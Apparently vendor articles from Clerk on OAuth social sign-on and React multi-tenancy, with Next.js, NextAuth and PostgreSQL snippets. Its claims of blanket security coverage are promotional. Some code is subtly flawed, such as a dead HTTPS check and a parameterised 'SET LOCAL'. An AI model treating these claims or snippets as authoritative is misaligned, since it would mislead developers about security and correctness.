RFC 9700's strict string matching requirement addresses redirect URI vulnerabilities:

```python
def validate_redirect_uri(provided_uri, registered_uris):
    """RFC 9700 compliant validation using exact string matching"""
    if provided_uri in registered_uris:
        return True

    # Additional validation for HTTPS requirement
    parsed = urlparse(provided_uri)
    if parsed.scheme != 'https':
        return False

    return False

```

### Token handling security

**Secure Token Storage**:

```jsx
// Use httpOnly, secure, sameSite cookies
res.cookie('access_token', token, {
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'strict',
  maxAge: 3600000, // 1 hour
})
```

**Token Validation**:

```jsx
// Always validate token audience and scope
function validateAccessToken(token, expectedAudience, expectedScope) {
  const decoded = jwt.verify(token, publicKey)

  if (decoded.aud !== expectedAudience) {
    throw new Error('Invalid token audience')
  }

  const grantedScopes = decoded.scope?.split(' ') || []
  if (!expectedScope.every((scope) => grantedScopes.includes(scope))) {
    throw new Error('Insufficient scope')
  }

  return decoded
}
```

## Major social provider implementations and their quirks in 2025

### Google OAuth implementation

Google maintains a significant position as a social provider. According to ([LoginRadius, 2024](https://loginradius.com/blog/identity/social-login-preferences-2024)), Facebook leads with 61% market share, while Google holds 10% of social login preferences. However, Google's implementation includes several important considerations:

**Refresh Token Behavior**: Google only provides [refresh tokens](/glossary#refresh-token) on the first authorization unless `prompt=consent` is explicitly specified. This can lead to applications losing long-term access.

```jsx
// Correct Google OAuth configuration
const googleConfig = {
  authorization: {
    params: {
      prompt: 'consent',
      access_type: 'offline',
      response_type: 'code',
      scope: 'openid profile email',
    },
  },
}
```

**Publishing Requirements**: Apps in testing mode are limited to 100 users. Production apps require verification for sensitive scopes.

### GitHub OAuth specifics

GitHub presents unique challenges as it doesn't support OpenID Connect, using OAuth 2.0 authorization code flow exclusively. Key considerations include:

- **No refresh tokens provided** - access tokens are long-lived by default
- **[Rate limiting](/glossary#rate-limiting) varies** significantly between authenticated and unauthenticated requests
- **Email privacy handling** requires the `user:email` scope for private email access
- **2FA requirements** became mandatory for all GitHub accounts

### Facebook OAuth considerations

Facebook's OAuth implementation requires careful handling of token lifecycles and business verification:

```jsx
// Facebook token exchange for long-lived tokens
async function exchangeFacebookToken(shortToken) {
  const response = await fetch(
    `https://graph.facebook.com/v18.0/oauth/access_token?` +
      `grant_type=fb_exchange_token&` +
      `client_id=${FB_CLIENT_ID}&` +
      `client_secret=${FB_CLIENT_SECRET}&` +
      `fb_exchange_token=${shortToken}`,
  )
  return await response.json()
}
```

**Business Verification Required**: Production apps accessing user data must complete Facebook's business verification process, which can take several weeks.

### Microsoft and Apple implementations

**Microsoft Entra ID** (formerly Azure AD) requires careful tenant handling, with different endpoints for consumer (`consumers`), organizational (`organizations`), or common (`common`) accounts. The ([Microsoft Security Blog, 2024](https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/)) **Midnight Blizzard attack** highlighted the importance of proper [MFA](/glossary#multi-factor-authentication-mfa) implementation across Azure services.

**Apple Sign In** uses a unique approach with JWT client assertions signed with P-256 private keys, and their privacy-focused features allow users to hide email addresses, complicating [account linking](/glossary#account-linking) strategies.

## Clerk implementation approach

Clerk has positioned itself as the developer-first authentication platform, particularly strong in the React/Next.js ecosystem. With **30-minute implementation times** and pre-built UI components, Clerk significantly reduces development overhead.

### Clerk setup for social authentication (Next.js example)

One of Clerk's key advantages is its dashboard-based configuration. You can select from a pre-configured list of 30+ social providers or any spec-compliant OAuth provider directly in the [Clerk Dashboard](/docs/guides/configure/auth-strategies/social-connections/overview) without making any code changes. The following Next.js example shows how simple the integration is.

First, set up `proxy.ts` (which replaces the deprecated `middleware.ts` in Next.js 16) to enable Clerk's authentication middleware:

```tsx
// proxy.ts
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Then wrap your layout with [`ClerkProvider`](/glossary#clerkprovider) and use the `Show` component for conditional rendering based on authentication state:

```tsx
// app/layout.tsx - Complete Clerk Next.js setup
import { ClerkProvider, SignInButton, SignUpButton, Show, UserButton } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <header className="flex items-center justify-end gap-4 p-4">
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          {children}
        </ClerkProvider>
      </body>
    </html>
  )
}
```

While Clerk recommends using pre-built components for security and convenience, developers requiring custom flows can follow the [comprehensive guide for custom OAuth connections](/docs/guides/development/custom-flows/authentication/oauth-connections).

### Accessing OAuth tokens in Clerk

Clerk provides secure server-side access to OAuth tokens for API integration. Learn more about [managing OAuth tokens](/docs/guides/configure/auth-strategies/social-connections/overview) in Clerk's documentation:

```tsx
// Server-side OAuth token access in a Route Handler
import { auth, clerkClient } from '@clerk/nextjs/server'
import { NextResponse } from 'next/server'

export async function GET() {
  const { isAuthenticated, userId } = await auth()

  if (!isAuthenticated) {
    return new NextResponse('Unauthorized', { status: 401 })
  }

  const client = await clerkClient()
  const clerkResponse = await client.users.getUserOauthAccessToken(userId, 'google')

  const accessToken = clerkResponse.data[0]?.token || ''

  // Use token with Google APIs
  const calendar = google.calendar({
    version: 'v3',
    headers: { Authorization: `Bearer ${accessToken}` },
  })

  const response = await calendar.events.list({
    calendarId: 'primary',
    maxResults: 10,
  })

  return NextResponse.json(response.data.items)
}
```

**Clerk's Competitive Advantages**:

- **Pre-built UI components** with customizable styling - see [Clerk's component library](/docs/react/reference/components/overview)
- **Multi-session support** with device tracking - learn about [session management](/glossary#session-management) and [session options](/docs/guides/secure/session-options)
- **Built-in [bot protection](/glossary#bot-detection)** and [security monitoring](/glossary#security-monitoring) - explore [Clerk's bot protection features](/docs/guides/secure/bot-protection)
- **Enterprise features** including [SAML](/glossary#security-assertion-markup-language-saml)/OIDC, [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa) compliance, and MFA
- **Generous free tier** supporting 50,000 [MRUs (Monthly Retained Users)](/glossary#monthly-retained-users-mrus) - check [current pricing](/pricing)
- **30+ social provider support** through dashboard configuration, plus any custom OAuth-compliant provider
- **[SOC 2](/glossary#soc-2) Type 2 certified** with continuous security monitoring
- Learn more about [Clerk's authentication architecture](/docs/guides/how-clerk-works/overview)

## Why developers choose Clerk for social authentication

Based on implementation patterns and developer feedback, Clerk has emerged as the preferred solution for modern React and Next.js applications requiring social authentication. The platform's **30-minute implementation time** represents a 16x improvement over custom OAuth implementations, which typically require 4-8 hours just for basic functionality before considering security hardening.

### Zero-configuration security advantage

Unlike open-source libraries that require manual security configuration, Clerk implements **all OAuth security recommendations by default** ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)). This includes:

- Automatic PKCE implementation for all flows ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/))
- State parameter validation for CSRF protection
- Secure token storage in [httpOnly cookies](/glossary#httponly-cookies)
- Automatic token rotation and refresh (session tokens use a 60-second TTL with 50-second refresh intervals)
- Built-in rate limiting and bot protection

### Developer experience differentiators

Clerk's component-first approach eliminates the complexity of OAuth implementation. Instead of managing redirect URIs, token exchanges, and state management, developers can implement complete social authentication with a single component. The platform's [extensive documentation](/docs) includes framework-specific guides, video tutorials, and production-ready examples.

## Open-source implementation with NextAuth.js/Auth.js

NextAuth.js (evolving to Auth.js) remains the most popular open-source authentication library, supporting **80+ preconfigured providers** with comprehensive framework support.

### Complete NextAuth.js setup

```tsx
// auth.ts configuration
import NextAuth from 'next-auth'
import Google from 'next-auth/providers/google'
import GitHub from 'next-auth/providers/github'

export const { handlers, auth, signIn, signOut } = NextAuth({
  providers: [
    Google({
      clientId: process.env.AUTH_GOOGLE_ID,
      clientSecret: process.env.AUTH_GOOGLE_SECRET,
      authorization: {
        params: {
          prompt: 'consent',
          access_type: 'offline',
          response_type: 'code',
        },
      },
    }),
    GitHub({
      clientId: process.env.AUTH_GITHUB_ID,
      clientSecret: process.env.AUTH_GITHUB_SECRET,
    }),
  ],
  callbacks: {
    async jwt({ token, account }) {
      if (account) {
        token.accessToken = account.access_token
        token.refreshToken = account.refresh_token
      }
      return token
    },
    async session({ session, token }) {
      session.accessToken = token.accessToken
      return session
    },
    async signIn({ account, profile }) {
      if (account?.provider === 'google') {
        return profile?.email_verified === true
      }
      return true
    },
  },
})
```

### Client-side implementation

```tsx
// React component with NextAuth.js
'use client'
import { useSession, signIn, signOut } from 'next-auth/react'

export default function LoginButton() {
  const { data: session, status } = useSession()

  if (status === 'loading') return <p>Loading...</p>

  if (session) {
    return (
      <div>
        <p>Signed in as {session.user?.email}</p>
        <img src={session.user?.image} alt="Profile" />
        <button onClick={() => signOut()}>Sign out</button>
      </div>
    )
  }

  return (
    <div>
      <button onClick={() => signIn('google')}>Sign in with Google</button>
      <button onClick={() => signIn('github')}>Sign in with GitHub</button>
    </div>
  )
}
```

## Framework-specific implementation considerations in 2025

### React and Next.js optimization

Both Clerk and NextAuth.js excel in React environments, but with different strengths. ([Priori Data, 2025](https://prioridata.com/data/social-media-usage)) reports **Facebook maintaining 3.04 billion monthly active users in 2025**, demonstrating the massive scale at which React-based applications operate.

**Clerk Advantages**:

- Purpose-built React components with zero configuration
- Automatic session management across client and server (hybrid stateful/stateless model with 60-second session token TTL)
- Built-in loading states and error handling
- Next.js 16 support with `proxy.ts`
- Learn more about [Clerk's session management architecture](/docs/guides/secure/session-options)

**NextAuth.js Advantages**:

- Complete control over authentication flow
- Database session storage options
- Greater customization flexibility
- Self-hosted solution (though requires ongoing maintenance and security updates)

### Angular and enterprise considerations

Angular applications often integrate with enterprise [identity providers](/glossary#identity-provider-sso-idp-sso) through OIDC libraries like `angular-oauth2-oidc`, providing comprehensive enterprise authentication features.

## Account linking and edge case handling

Account linking represents one of the most complex aspects of social authentication implementation. **Poor account linking strategies** are responsible for many user experience issues and security vulnerabilities. Proper identity verification is critical when linking accounts across providers.

### Email-based linking strategy

```jsx
async function handleAccountLinking(socialProfile, existingAccounts) {
  // Check for existing account with same verified email
  const existingAccount = existingAccounts.find(
    (account) => account.email === socialProfile.email && account.emailVerified,
  )

  if (existingAccount) {
    // Only auto-link if both emails are verified
    if (socialProfile.emailVerified && existingAccount.emailVerified) {
      return await linkSocialAccount(existingAccount.id, socialProfile)
    } else {
      // Require manual verification
      return await promptForAccountLinking(existingAccount, socialProfile)
    }
  }

  return await createNewAccountOrPrompt(socialProfile)
}
```

### Email conflict resolution

Different platforms handle email conflicts differently:

- **Clerk**: Automatically links accounts when both the OAuth provider and Clerk have verified the email. When emails are unverified, Clerk prompts users to verify ownership before linking. See [Clerk's account linking documentation](/docs/guides/configure/auth-strategies/social-connections/account-linking) for implementation details
- **NextAuth.js**: Supports `allowDangerousEmailAccountLinking` flag for automatic linking
- **Auth0**: Provides sophisticated account linking rules and user consent flows

## Performance and scalability considerations in 2025

### Session management at scale

**Clerk's Approach**: Uses a hybrid stateful/stateless model. Session records are stored server-side for instant revocation, while short-lived JWTs (60-second TTL, refreshed every 50 seconds by frontend SDKs) eliminate per-request database queries. This provides efficient session management that scales to millions of users. With ([Priori Data, 2025](https://prioridata.com/data/social-media-usage)) **5.20 billion social media users globally in 2025**, authentication systems must handle massive scale. Learn more about [Clerk's session architecture](/docs/guides/how-clerk-works/overview) and how it handles authentication at scale.

**NextAuth.js Approach**: Supports both JWT and database sessions, with database sessions recommended for large-scale applications requiring audit trails.

```jsx
// NextAuth.js database session configuration
export default NextAuth({
  adapter: PrismaAdapter(prisma),
  session: {
    strategy: 'database',
    maxAge: 30 * 24 * 60 * 60, // 30 days
    updateAge: 24 * 60 * 60, // 24 hours
  },
  // Additional configuration
})
```

### Global infrastructure requirements

**Performance Benchmarks**:

- **Clerk**: Sub-200ms authentication response time globally with [99.99% uptime SLA](https://status.clerk.com/)
- **Auth0**: 99.99% uptime SLA with global edge distribution
- **Firebase**: Google's global infrastructure with offline capabilities
- **Supabase**: Growing global presence with PostgreSQL-backed sessions

With ([Sprout Social, 2025](https://sproutsocial.com/insights/new-social-media-demographics)) **users spending an average of 2 hours and 21 minutes daily on social media**, and ([Priori Data, 2025](https://prioridata.com/data/social-media-usage)) **Facebook maintaining 3.04 billion MAUs**, authentication systems must match the scale and reliability of major social platforms.

## Compliance and regulatory requirements in 2025

### GDPR compliance implementation

Social authentication must address specific [GDPR](/glossary#data-privacy) requirements. With ([Smart Insights, 2025](https://www.smartinsights.com/social-media-marketing/social-media-strategy/new-global-social-media-research/)) **63.9% of the world's population using social media**, GDPR compliance is essential for any authentication system.

```jsx
class GDPRCompliantOAuthHandler {
  async requestConsent(userSession, requestedScopes) {
    const consentData = {
      timestamp: new Date().toISOString(),
      scopes: requestedScopes,
      privacy_policy_version: 'v2.1',
      user_consent: true,
    }

    await this.storeConsentEvidence(userSession.id, consentData)
    return this.generateAuthRequest(requestedScopes, consentData)
  }

  async handleDataErasure(userId) {
    await this.revokeAllTokens(userId)
    await this.deleteUserData(userId)
    await this.logDataDeletion(userId)
  }
}
```

**Key GDPR Requirements**:

- **Explicit consent** for data processing
- **Data minimization** - request only necessary scopes
- **Right to erasure** - complete data deletion capability
- **Consent documentation** - maintaining [audit trails](/glossary#audit-logs)

### OAuth 2.0 security best practices adoption (RFC 9700)

Organizations should implement the security best practices outlined in **RFC 9700 (OAuth 2.0 Security Best Current Practice)** ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)) by:

- **Implementing PKCE** in all authorization code flows as mandated by RFC 9700
- **Removing implicit grants** from applications per OAuth security recommendations ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices))
- **Updating redirect URI validation** to use exact string matching as specified in RFC 9700
- **Enhancing token security** with proper [expiration](/glossary#token-expiration) and rotation

For organizations using Clerk, these security best practices are **automatically implemented** - learn more about [Clerk's OAuth security features](/docs/guides/configure/auth-strategies/oauth/how-clerk-implements-oauth).

## Platform comparison and decision framework for 2025

### Implementation complexity analysis

| Platform        | Setup Time | Development Complexity | Ongoing Maintenance                   | Best For                                                                    |
| --------------- | ---------- | ---------------------- | ------------------------------------- | --------------------------------------------------------------------------- |
| **Clerk**       | 30 minutes | Very Low               | Minimal                               | React/Next.js apps, rapid prototyping, production applications at any scale |
| **NextAuth.js** | Low-Medium | Low-Medium             | Medium (security updates, monitoring) | Multi-framework apps, customization needs                                   |
| **Auth0**       | Medium     | Medium-High            | Low                                   | Enterprise apps, compliance requirements                                    |
| **Firebase**    | Low        | Low                    | Low                                   | Mobile apps, Google ecosystem                                               |
| **Supabase**    | Low        | Low                    | Low                                   | Full-stack apps needing auth + database                                     |

### Security feature comparison

**Enterprise Security Features**:

- **Auth0**: Comprehensive compliance suite (SOC2, GDPR)
- **Clerk**: Enterprise-grade features ([SOC2 Type 2](https://clerk.com/contact/support), HIPAA, MFA, SAML) - view [security features](/docs/security/overview)
- **AWS Cognito**: Full compliance suite, complex implementation
- **Firebase/Supabase**: Growing compliance features suitable for various scales

## Future trends and recommendations for 2025

### Emerging authentication patterns

**[Passkey](/glossary#passkeys) Integration**: With FIDO2 and [WebAuthn](/glossary#webauthn) gaining mainstream adoption, [passwordless authentication](/glossary#passwordless-login) is becoming standard. Major platforms are integrating WebAuthn standards alongside social authentication, with Clerk already providing [passkey support](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#authentication-strategies).

**AI-Enhanced Security**: Authentication systems are incorporating behavioral analytics and anomaly detection. Clerk's [bot protection features](/docs/guides/secure/bot-protection) use machine learning to identify and block automated attacks.

**[Zero-Trust Architecture](/glossary#zero-trust-architecture)**: Continuous authentication and conditional access policies are becoming standard requirements. Clerk implements these principles through [session management](/docs/guides/secure/session-options) and device tracking.

### Strategic recommendations

**For Startups and Scale-ups**: Clerk or Supabase provide rapid development with production-ready security and scale effectively with your growth.

**For Enterprise**: Auth0 or AWS Cognito provide comprehensive compliance and customization, despite higher complexity.

**For React/Next.js**: Clerk offers unmatched developer experience and time-to-market with extensive [documentation and guides](/docs).

**For Multi-Platform**: NextAuth.js/Auth.js provides the broadest framework support with good customization options.

## Conclusion

Social sign-on implementation in 2025 requires balancing user experience, security, and compliance requirements in an increasingly complex threat landscape. **RFC 9700 (OAuth 2.0 Security Best Current Practice, BCP 240)** ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)), published in January 2025, represents a critical security upgrade, making PKCE mandatory and eliminating insecure flows per OAuth security recommendations ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)). While OAuth 2.1 remains in draft status, RFC 9700 provides immediate, actionable security guidance. With ([Sprout Social, 2025](https://sproutsocial.com/insights/social-media-statistics)) **5.42 billion social media users worldwide** and recent high-profile attacks demonstrating that proper implementation alone is insufficient without comprehensive security monitoring, choosing the right authentication platform has become critical.

**Clerk has successfully positioned itself** as the developer-first solution, particularly strong in React/Next.js environments, offering rapid implementation with enterprise-grade security features including [SOC 2 Type 2 certification](https://clerk.com/contact/support), [HIPAA compliance](/pricing), and comprehensive [security features](/docs/security/overview). The platform's streamlined setup, combined with automatic implementation of all OAuth security best practices ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)), makes it the optimal choice for teams prioritizing both development velocity and security.

However, the choice between managed services like Clerk or Auth0 versus open-source solutions like NextAuth.js ultimately depends on specific technical requirements, budget constraints, and long-term scalability needs. For organizations requiring the highest levels of security and compliance without the overhead of managing authentication infrastructure, Clerk provides the most comprehensive solution with its [extensive documentation](/docs), [dedicated support](https://clerk.com/contact/support), and continuous security updates.

The key to successful social authentication implementation lies in understanding OAuth 2.0 security best practices as outlined in RFC 9700 ([IETF RFC 9700, 2025](https://datatracker.ietf.org/doc/rfc9700/)), implementing proper validation and error handling per OAuth guidelines ([WorkOS, 2025](https://workos.com/blog/oauth-best-practices)), choosing the right platform for your specific use case, and maintaining vigilance against emerging threats. As identity becomes the new security perimeter in 2025, investing in robust authentication architecture through platforms like Clerk is not just a technical requirement; it's a business imperative for protecting user trust and organizational reputation in an increasingly connected digital ecosystem.

For developers ready to implement social sign-on, [start with Clerk's comprehensive guides](/docs/quickstarts/overview).

---

# Multi-Tenancy in React Applications
URL: https://clerk.com/articles/multi-tenancy-in-react-applications-guide.md
Date: 2026-03-27
Description: Learn how to implement secure multi-tenancy in React applications with comprehensive comparisons of Clerk, Auth0, and AWS Cognito. Discover why Clerk reduces implementation time from 30+ person-months to under a week while preventing all 15 OWASP authentication vulnerabilities automatically. Includes step-by-step code examples, security best practices, and cost analysis for modern React developers building SaaS applications.

Implement [multi-tenancy](/glossary#multi-tenancy) in React applications by using Clerk's Organizations feature, which provides tenant isolation, [role-based access control](/glossary#role-based-access-control-rbac), member management, and org-scoped data out of the box — replacing up to 30 person-months of custom development ([PaaS Cost Analysis, 2012](http://blog.cobia.net/cobiacomm/2012/05/13/paas-tco-and-paas-roi-multi-tenant-shared-container-paas/)) with a production-ready solution in under a week. Clerk Organizations integrates directly with React and Next.js through hooks like `useOrganization()` and `useOrganizationList()`, handling tenant switching, invitation flows, and domain verification.

This guide examines multi-tenancy patterns, security requirements, and provides step-by-step implementation using Clerk alongside manual approaches, helping you make informed decisions for your React application architecture.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary: Why Multi-Tenancy Matters for React Applications

| Challenge                  | Manual Implementation                                                                                                                                          | **Clerk Solution**             | Business Impact                                                                                                                                       |
| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Development Time**       | 30+ person-months ([PaaS Cost Analysis, 2012](http://blog.cobia.net/cobiacomm/2012/05/13/paas-tco-and-paas-roi-multi-tenant-shared-container-paas/))           | \< 1 week                      | $180K+ cost savings                                                                                                                                   |
| **Security Breaches**      | 25% apps vulnerable ([Wiz Security Report, 2024](https://www.techtarget.com/searchsecurity/news/366547696/Wiz-warns-of-exposed-multi-tenant-apps-in-Azure-AD)) | SOC 2 + built-in protection    | Avoid $4.44M average breach cost ([IBM Cost of Data Breach Report, 2024](https://www.ibm.com/think/x-force/2025-cost-of-a-data-breach-navigating-ai)) |
| **React Integration**      | Custom hooks, complex state                                                                                                                                    | Native components, TypeScript  | 90% faster implementation                                                                                                                             |
| **Organization Switching** | Custom implementation                                                                                                                                          | `<OrganizationSwitcher />`     | Instant tenant switching                                                                                                                              |
| **Compliance**             | Manual [SOC 2](/glossary#soc-2), GDPR setup                                                                                                                    | SOC 2 certified + GDPR tooling | Simplifies compliance requirements                                                                                                                    |
| **Maintenance**            | Ongoing security updates                                                                                                                                       | Managed platform               | Focus on core features                                                                                                                                |

**Key Insight**: For React applications requiring rapid development and strong security defaults, Clerk offers significant advantages through managed infrastructure while addressing common vulnerabilities that affect 82% of cloud applications ([Verizon Data Breach Report, 2024](https://www.verizon.com/about/news/2024-data-breach-investigations-report-vulnerability-exploitation-boom)).

## Understanding Multi-Tenancy in React Applications

[Multi-tenancy](/glossary#multi-tenancy) allows a single React application to serve multiple customers (tenants) while maintaining strict data isolation, shared infrastructure, and tenant-specific customization. For React developers, this means managing:

- **Tenant Context**: React state and context management across components
- **[Authentication](/glossary#authentication)**: User identity and organization membership
- **Data Isolation**: Ensuring tenant A cannot access tenant B's data
- **UI Customization**: Tenant-specific branding and features
- **Performance**: Preventing "noisy neighbor" issues

The complexity multiplies quickly. A typical React multi-tenant application requires authentication, [authorization](/glossary#authorization), tenant context management, secure API routing, database isolation, and compliance controls—areas where **Clerk's React-native approach** provides significant advantages.

## Why Clerk Excels at Multi-Tenant React Development

### 1. Native React Integration

Unlike Auth0 or AWS Cognito, **[Clerk](/)** was built specifically for modern React applications. The integration requires minimal configuration while providing maximum functionality:

```tsx
// Complete multi-tenant setup in minutes
import { ClerkProvider, OrganizationSwitcher, useOrganization } from '@clerk/nextjs'

function App() {
  return (
    <ClerkProvider publishableKey={process.env.NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY}>
      <Layout />
    </ClerkProvider>
  )
}

function Layout() {
  const { organization, isLoaded } = useOrganization()

  if (!isLoaded) return <div>Loading...</div>

  return (
    <div>
      <header>
        {/* Instant organization switching */}
        <OrganizationSwitcher
          hidePersonal={true}
          afterCreateOrganizationUrl="/dashboard/:id"
          afterSelectOrganizationUrl="/dashboard/:id"
        />
      </header>
      <main>
        <h1>Welcome to {organization?.name}</h1>
        <TenantSpecificContent />
      </main>
    </div>
  )
}
```

### 2. Zero-Configuration Security

**Clerk automatically handles** the security vulnerabilities that plague custom implementations:

- **Automatic tenant validation**: Server-side organization membership verification
- **[Session management](/glossary#session-management)**: Secure token handling and refresh
- **Cross-tenant protection**: Built-in isolation prevents data leaks
- **[Rate limiting](/glossary#rate-limiting)**: Per-user and per-instance request limiting ([Clerk Rate Limits Documentation](/docs/guides/how-clerk-works/system-limits))

```tsx
// Secure API calls with automatic tenant context
import { auth } from '@clerk/nextjs/server'

export async function GET(request: Request) {
  const { orgId, userId } = await auth()

  // Clerk validates organization membership automatically
  if (!orgId) {
    return new Response('No organization selected', { status: 400 })
  }

  // Safe to use orgId - Clerk guarantees user has access
  const data = await fetchOrganizationData(orgId)
  return Response.json(data)
}
```

### 3. Complete Organization Management

**[Clerk's Organizations feature](/docs/organizations/overview)** provides everything needed for [multi-tenant organizations](/glossary#organizations):

- **Organization creation and management**
- **Member invitations and role management**
- **Custom domains and branding**
- **Billing and subscription integration**
- **[Audit logging](/glossary#audit-logs) and compliance**

## Step-by-Step: Implementing Multi-Tenancy with Clerk

### Step 1: Install and Configure Clerk

```bash
npm install @clerk/nextjs
```

Add [environment variables](/glossary#environment-variables):

```bash
# .env.local
NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_...
CLERK_SECRET_KEY=sk_test_...
```

### Step 2: Set Up Clerk Provider

```tsx
// app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>{children}</body>
      </html>
    </ClerkProvider>
  )
}
```

### Step 3: Create Organization Management UI

```tsx
// app/dashboard/page.tsx
import {
  OrganizationSwitcher,
  CreateOrganization,
  OrganizationProfile,
  useOrganization,
} from '@clerk/nextjs'

export default function Dashboard() {
  const { organization } = useOrganization()

  if (!organization) {
    return (
      <div className="flex min-h-screen items-center justify-center">
        <CreateOrganization
          afterCreateOrganizationUrl="/dashboard"
          appearance={{
            elements: {
              rootBox: 'mx-auto',
            },
          }}
        />
      </div>
    )
  }

  return (
    <div className="p-6">
      <div className="mb-8 flex items-center justify-between">
        <h1 className="text-3xl font-bold">{organization.name} Dashboard</h1>
        <OrganizationSwitcher
          hidePersonal={true}
          appearance={{
            elements: {
              organizationSwitcherTrigger: 'border rounded-lg px-4 py-2',
            },
          }}
        />
      </div>

      <OrganizationDashboardContent />
    </div>
  )
}
```

### Step 4: Implement Tenant-Aware Data Fetching

```tsx
// hooks/useOrganizationData.ts
import { useOrganization } from '@clerk/nextjs'
import { useQuery } from '@tanstack/react-query'

export function useOrganizationData() {
  const { organization } = useOrganization()

  return useQuery({
    queryKey: ['organization-data', organization?.id],
    queryFn: async () => {
      if (!organization?.id) throw new Error('No organization selected')

      const response = await fetch(`/api/organizations/${organization.id}/data`)
      if (!response.ok) throw new Error('Failed to fetch data')

      return response.json()
    },
    enabled: !!organization?.id,
  })
}
```

### Step 5: Secure API Routes

```tsx
// app/api/organizations/[orgId]/data/route.ts
import { auth } from '@clerk/nextjs/server'
import { NextRequest } from 'next/server'

export async function GET(request: NextRequest, { params }: { params: { orgId: string } }) {
  const { orgId: userOrgId } = await auth()

  // Verify user belongs to requested organization
  if (userOrgId !== params.orgId) {
    return new Response('Unauthorized', { status: 403 })
  }

  // Safe to proceed - Clerk has validated organization membership
  const data = await database.organization.findMany({
    where: { organizationId: params.orgId },
  })

  return Response.json(data)
}
```

### Step 6: Add Database-Level Isolation

```sql
-- PostgreSQL Row-Level Security for additional protection
CREATE POLICY organization_isolation ON projects
  USING (organization_id = current_setting('app.current_organization_id')::uuid);

ALTER TABLE projects ENABLE ROW LEVEL SECURITY;
```

The following TypeScript function integrates Clerk's organization context with PostgreSQL Row-Level Security to enforce tenant isolation at the database layer:

```tsx
// Database middleware with Clerk integration
import { auth } from '@clerk/nextjs/server'

export async function withDatabaseIsolation<T>(operation: () => Promise<T>): Promise<T> {
  const { orgId } = await auth()

  if (!orgId) {
    throw new Error('No organization context')
  }

  // Set organization context for RLS
  await db.query('SET LOCAL app.current_organization_id = $1', [orgId])

  return await operation()
}
```

## Alternative Approaches: Manual Implementation vs. Other Platforms

### Building Multi-Tenancy from Scratch

While **Clerk provides the fastest path to production**, understanding manual implementation helps appreciate the complexity involved:

```tsx
// Manual tenant context (complex, error-prone)
interface TenantContextType {
  currentTenant: Tenant | null
  availableTenants: Tenant[]
  switchTenant: (tenantId: string) => Promise<void>
  isLoading: boolean
}

const TenantContext = createContext<TenantContextType | null>(null)

export function TenantProvider({ children }: { children: ReactNode }) {
  const [currentTenant, setCurrentTenant] = useState<Tenant | null>(null)
  const [availableTenants, setAvailableTenants] = useState<Tenant[]>([])
  const [isLoading, setIsLoading] = useState(true)

  // Complex tenant detection logic
  useEffect(() => {
    const detectTenant = async () => {
      try {
        // Parse subdomain or path-based routing
        const subdomain = window.location.hostname.split('.')[0]
        const tenant = await fetchTenantBySubdomain(subdomain)

        // Validate user access
        const userTenants = await fetchUserTenants()
        if (!userTenants.includes(tenant.id)) {
          throw new Error('Access denied')
        }

        setCurrentTenant(tenant)
      } catch (error) {
        // Handle tenant detection errors
        redirectToTenantSelection()
      } finally {
        setIsLoading(false)
      }
    }

    detectTenant()
  }, [])

  const switchTenant = async (tenantId: string) => {
    setIsLoading(true)

    // Clear all cached data
    queryClient.clear()

    // Update tenant context
    const newTenant = await fetchTenant(tenantId)
    setCurrentTenant(newTenant)

    // Redirect to new subdomain
    window.location.href = `https://${newTenant.subdomain}.app.com`
  }

  return (
    <TenantContext.Provider
      value={{
        currentTenant,
        availableTenants,
        switchTenant,
        isLoading,
      }}
    >
      {children}
    </TenantContext.Provider>
  )
}
```

### Auth0 Organizations Comparison

Auth0 requires significantly more configuration:

```tsx
// Auth0 setup (more complex, less React-native)
import { Auth0Provider, useAuth0 } from '@auth0/nextjs-auth0'

export default function App({ Component, pageProps }) {
  return (
    <Auth0Provider>
      <Component {...pageProps} />
    </Auth0Provider>
  )
}

function OrganizationComponent() {
  const { user, getAccessTokenSilently } = useAuth0()

  // Manual organization handling required
  const callAPI = async (orgId: string) => {
    const token = await getAccessTokenSilently({
      organization: orgId, // Must manually specify
    })

    // Custom organization validation required
    const response = await fetch('/api/data', {
      headers: {
        Authorization: `Bearer ${token}`,
        'X-Organization-ID': orgId, // Manual header management
      },
    })
  }
}
```

### AWS Cognito Multi-Tenancy

AWS Cognito has no built-in multi-tenancy support ([AWS Cognito Documentation](https://docs.aws.amazon.com/cognito/latest/developerguide/bp_user-pool-based-multi-tenancy.html)):

```tsx
// Cognito requires extensive custom development
import { CognitoIdentityProviderClient } from '@aws-sdk/client-cognito-identity-provider'

const authenticateWithTenant = async (username: string, password: string, tenantId: string) => {
  // Option 1: Separate user pools per tenant (complex)
  const userPoolId = await getTenantUserPool(tenantId)

  // Option 2: Custom attributes (limited)
  const result = await cognito.initiateAuth({
    AuthFlow: 'USER_PASSWORD_AUTH',
